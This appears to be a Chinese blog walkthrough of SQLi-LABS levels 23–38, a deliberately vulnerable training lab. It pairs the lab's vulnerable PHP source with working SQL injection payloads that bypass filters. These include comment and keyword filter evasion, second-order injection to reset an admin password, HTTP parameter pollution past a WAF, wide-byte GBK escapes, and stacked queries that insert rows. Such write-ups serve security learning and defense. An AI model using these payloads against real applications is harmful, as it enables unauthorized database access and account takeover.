• SQLi-LABS Page-2 (Adv Injections)


    目录

    less-23-过滤注释

     less-24-二次注入

    less-25-过滤and和or

    less-26-过滤空格、and、or、#、--、/*

    less-27-过滤空格、union、select、#、--、/*、+

    less-28 -过滤空格、/*、--、#、+、union select组合

    less-29-基于错误_GET_双服务器_单引号_字符型注入

    less-30-基于错误_GET_双服务器_双引号_字符型注入

    less-31-基于错误_GET_双服务器_双引号+括号注入

    less-32-宽字节注入

    less-33-GET-addslashes()-单引号闭合

    less-34-POST-addslashes()

    less-35-GET-addslashes()-整形闭合

    less-36-GET-mysql_real_escape_string()-单引号闭合

    less-37-POST-mysql_real_escape_string()-单引号闭合

    less-38-堆叠注入


    less-23-过滤注释

    闭合方式单引号,用#注释后面的内容会报错,还需要加and '闭合一下后面的。

    payload: id=-1'  union select 1,database(),3 and  ' 

    关键源码:

    1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    2. $reg = "/#/";
    3. $reg1 = "/--/";
    4. $replace = "";
    5. $id = preg_replace($reg, $replace, $id);
    6. $id = preg_replace($reg1, $replace, $id);

     原来是把#和--+替换成了空。

     less-24-二次注入

    注册一个admin'#的用户,然后进入更改密码:

     更改密码后会成功更改admin的密码然后登陆进去:

     关键源码:

    1. # Validating the user input........
    2. $username= $_SESSION["username"];
    3. $curr_pass= mysql_real_escape_string($_POST['current_password']);
    4. $pass= mysql_real_escape_string($_POST['password']);
    5. $re_pass= mysql_real_escape_string($_POST['re_password']);
    6. $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

     传入username=admin'#后变为:

    1. $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'
    2. # and password='$curr_pass' ";

    这样就成功更改了admin的密码。

    less-25-过滤and和or

    只要不用and 和or 不就行了嘛:

    1. id=-1' union select 1,database(),3 %23

     关键源码:

    1. function blacklist($id)
    2. {
    3. $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
    4. $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
    5. return $id;
    6. }
    7. $id=$_GET['id'];
    8. $id= blacklist($id);
    9. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    10. print_r(mysql_error());

    正则匹配i参数:不区分大小写。 

     双写绕过:

    id=1' aandnd 1=1 --+

     符号:&& ||绕过(url编码一下更好):

    1. id=1' %7c%7c 1=1 --+
    2. id=1' %26%26 1=1 --+

    less-26-过滤空格、and、or、#、--、/*

    用%0a绕过空格,用闭合绕过注释:

    id=0'%a0union%a0select%a01,database(),3'

    关键源码:

    1. function blacklist($id)
    2. {
    3. $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
    4. $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
    5. $id= preg_replace('/[\/\*]/',"", $id); //strip out /*
    6. $id= preg_replace('/[--]/',"", $id); //Strip out --
    7. $id= preg_replace('/[#]/',"", $id); //Strip out #
    8. $id= preg_replace('/[\s]/',"", $id); //Strip out spaces
    9. $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
    10. return $id;
    11. }
    12. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    13. print_r(mysql_error());

    less-27-过滤空格、union、select、#、--、/*、+

    可以用大小写绕过,也可以双写绕过:

    1. id=0'%a0 uNion %a0 sElect %a01,database(),3'
    2. id=0'%a0 uunionnion %a0 sElect %a0 1,database(),3'
    3. id=0'%0a uNion %0a sElect %0a1,database(),3'

    关键源码: 

    1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    2. print_r(mysql_error());
    3. function blacklist($id)
    4. {
    5. $id= preg_replace('/[\/\*]/',"", $id); //strip out /*
    6. $id= preg_replace('/[--]/',"", $id); //Strip out --.
    7. $id= preg_replace('/[#]/',"", $id); //Strip out #.
    8. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
    9. $id= preg_replace('/select/m',"", $id); //Strip out spaces.
    10. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
    11. $id= preg_replace('/union/s',"", $id); //Strip out union
    12. $id= preg_replace('/select/s',"", $id); //Strip out select
    13. $id= preg_replace('/UNION/s',"", $id); //Strip out UNION
    14. $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
    15. $id= preg_replace('/Union/s',"", $id); //Strip out Union
    16. $id= preg_replace('/Select/s',"", $id); //Strip out select
    17. return $id;
    18. }

    select只能大小写绕过,union可以大小写和双写绕过,具体看正则匹配的参数。

    空格可以用%a0和%0a绕过。

    less-28 -过滤空格、/*、--、#、+、union select组合

    %0a绕过空格,uniunion%0aselecton%0aselect双写绕过union select,and('绕过注释,也可以用%00截断绕过注释php 版本<5.3.4:

    1. id=0') %0a uniunion%0aselecton%0aselect %0a 1,database(),3 %0a and('
    2. id=0') %0a uniunion%0aselecton%0aselect %0a 1,database(),3;%00

    也可以用union %a0 SELECT 绕过组合过滤:

    1. id=0')%0a union %a0 select %0a 1,database(),3 %0a and('
    2. id=0')%0a union %a0 select %0a 1,database(),3;%00

    关键源码: 

    1. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    2. function blacklist($id)
    3. {
    4. $id= preg_replace('/[\/\*]/',"", $id); //strip out /*
    5. $id= preg_replace('/[--]/',"", $id); //Strip out --.
    6. $id= preg_replace('/[#]/',"", $id); //Strip out #.
    7. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
    8. //$id= preg_replace('/select/m',"", $id); //Strip out spaces.
    9. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
    10. $id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
    11. return $id;
    12. }

    less-29-基于错误_GET_双服务器_单引号_字符型注入

    服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。

    apache (php) 解析最后一个参数,tomcat (jsp) 解析第一个参数。而waf是在tomcat (jsp)上面。所以只要把注入语句写在第二个参数就可以绕过waf。

    id=1&id=-1' union select 1,database(),3--+

     php 服务器没有任何过滤直接就可以注入:

    1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    2. print_r(mysql_error());

    less-30-基于错误_GET_双服务器_双引号_字符型注入

    id=1&id=-2" union select 1,database(),3--+

    和less-29一样只是变成双引号闭合。

    less-31-基于错误_GET_双服务器_双引号+括号注入

    id=1&id=-2") union select 1,database(),3--+

    和less-30一样只是闭合变为")。

    less-32-宽字节注入

    系统会给特殊字符添加转义

    宽字节注入是有严格的条件的,例如PHP的编码为 UTF-8 而 MySql的编码设置为了gbk
    gbk编码:使用一字节和双字节编码,0x00-0x7F范围内是一位,和 ASCII 保持一致。双字节的第一字节范围是0x81-0xFE
    UTF-8编码:使用一至四字节编码,0x00–0x7F范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示。

    这里宽字节就是指超过两字节的编码,这就导致php的内容在进入mysql内转码时就可能出错,最终形成漏洞 

    宽字节注入原理:宽字节注入原理剖析总结 - 腾讯云开发者社区-腾讯云

     

    id=-1%82' union select 1,database(),3 --+

     

     关键源码:

    1. function check_addslashes($string)
    2. {
    3. $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
    4. $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
    5. $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
    6. return $string;
    7. }
    8. $id=check_addslashes($_GET['id']);
    9. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    10. print_r(mysql_error());

    less-33-GET-addslashes()-单引号闭合

    关键源码:

    1. function check_addslashes($string)
    2. {
    3. $string= addslashes($string);
    4. return $string;
    5. }
    6. mysql_query("SET NAMES gbk");
    7. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    8. print_r(mysql_error());

    addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线(\)与NUL(NULL字符)。”

    绕过和less-32一样:

    id=-1%99' union select 1,database(),3--+

    less-34-POST-addslashes()

    和less-33一样只是post 方式提交:

    uname=-1%99' union select 1,database()--+&passwd=1&submit=Submit

    注意在bp里面提交,不要在hackbar。 

    less-35-GET-addslashes()-整形闭合

    和less-33一样只是整型闭合,所以就不存在转义问题,直接注入。

    id=-1  union select 1,database(),3 --+

     关键源码:

    1. function check_addslashes($string)
    2. {
    3. $string = addslashes($string);
    4. return $string;
    5. }
    6. mysql_query("SET NAMES gbk");
    7. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    8. print_r(mysql_error());

    less-36-GET-mysql_real_escape_string()-单引号闭合

    id=-1%99'  union select 1,database(),3 --+

     关键源码:

    1. function check_quotes($string)
    2. {
    3. $string= mysql_real_escape_string($string);
    4. return $string;
    5. }
    6. mysql_query("SET NAMES gbk");
    7. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    8. print_r(mysql_error());

    mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

    下列字符受影响:

    \x00

    \n

    \r

    \

    '

    "

    \x1a

     

    less-37-POST-mysql_real_escape_string()-单引号闭合

     和less-36一样只是post 方式提交

    uname=1%99' union select 1,database()--+&passwd=1&submit=Submit

    less-38-堆叠注入

    联合查询就直接出来了?

    id=-1' union select 1,database(),3--+

     

    关键源码:

    1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    2. if (mysqli_multi_query($con1, $sql))
    3. print_r(mysqli_error($con1));

     mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

     执行多条代码:

    id=-1';insert into users(id,username,password)values(55,'123','312');--+

    可见已经成功执行: 

  • 相关阅读:
    利用labelme制作自己的coco数据集(labelme转coco数据集)
    2.6 upstream指令参数说明
    【优化调度】基于matlab帝国企鹅算法求解航空调度优化问题【含Matlab源码 YXS001期】
    (附源码)springboot家庭装修管理系统 毕业设计 613205
    操作指南|JumpServer与Okta集成对接
    如何去图片水印?这些方法解决你的问题
    【RocketMQ】RocketMQ5.0新特性(一)- Proxy
    移动端测试
    神经网络阈值怎么设置,神经网络参数怎么设置
    js逆向基础篇-某电商网站-xx街
  • 原文地址:https://blog.csdn.net/qq_61774705/article/details/126244603